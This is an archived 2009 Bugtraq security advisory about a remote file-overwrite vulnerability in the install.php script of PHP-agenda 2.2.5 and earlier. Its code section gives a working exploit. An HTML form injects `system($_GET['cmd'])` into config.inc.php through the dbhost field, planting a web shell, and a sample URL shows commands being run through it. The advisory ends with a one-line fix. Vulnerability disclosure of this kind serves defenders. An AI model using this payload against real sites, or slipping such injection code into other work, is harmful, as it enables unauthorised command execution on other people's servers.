lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <48317b000904100620j16090e7bh28b9677409d048ea@mail.gmail.com>
Date: Fri, 10 Apr 2009 15:20:54 +0200
From: "Salvatore \"drosophila\" Fresta" <drosophilaxxx@...il.com>
To: Bugtraq <bugtraq@...urityfocus.com>, str0ke <str0ke@...w0rm.com>
Subject: PHP-agenda <= 2.2.5 Remote File Overwriting

*******   Salvatore "drosophila" Fresta   *******

[+] Application: PHP-agenda
[+] Version: <= 2.2.5
[+] Website: http://php-agenda.sourceforge.net

[+] Bugs: [A] Remote File Overwriting

[+] Exploitation: Remote
[+] Date: 10 Apr 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@...il.com


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] Remote File Overwriting

[-] Risk: hight
[-] File affected: install.php

This bug allows a guest to overwrite config.inc.php
inserting PHP code.


*************************************************

[+] Code


- [A] Remote File Overwriting

<html>
  <head>PHP-agenda <= 2.2.5 - Remote File Overwriting</head>
  <body>
    <form action="http://www.site.com/path/install.php" method="post">
      <input type="text" name="dbhost" size="30" value="';
system($_GET['cmd']); echo '">
      <input type="submit" value="Exploit!" >
    </form>
  </body>
</head>

To execute commands:

http://www.site.com/path/config.inc.php?cmd=uname -a


*************************************************

[+] Fix

You must delete install.php after installation.


*************************************************

-- 
Salvatore "drosophila" Fresta
CWNP444351

View attachment "PHP-agenda <= 2.2.5 Remote File Overwriting-10042009.txt" of type "text/plain" (1319 bytes)

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ